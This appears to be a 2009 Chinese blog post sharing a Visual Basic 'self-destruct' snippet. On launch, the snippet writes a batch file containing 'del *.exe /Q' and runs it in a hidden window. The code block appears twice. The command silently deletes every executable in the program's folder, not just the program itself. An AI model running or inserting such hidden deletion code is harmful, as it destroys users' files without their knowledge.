用户登陆
站点日历
站点统计
最新评论
VB 自杀程序 [ 日期：2009-02-04 ] [ 来自：Private Sub Form_Load()
'===
Open Replace(App.Path & "\km.bat", "\\", "\") For Output As #1
Print #1, "del *.exe /Q"
Close #1
'===
Shell Replace(App.Path & "\km.bat", "\\", "\"), vbHide
End
End Sub
'===
Open Replace(App.Path & "\km.bat", "\\", "\") For Output As #1
Print #1, "del *.exe /Q"
Close #1
'===
Shell Replace(App.Path & "\km.bat", "\\", "\"), vbHide
End
End Sub
[本日志由 tiancao1001 于 2009-02-10 11:18 PM 编辑]
|
|
暂时没有评论
| 发表评论 - 不要忘了输入验证码哦！ |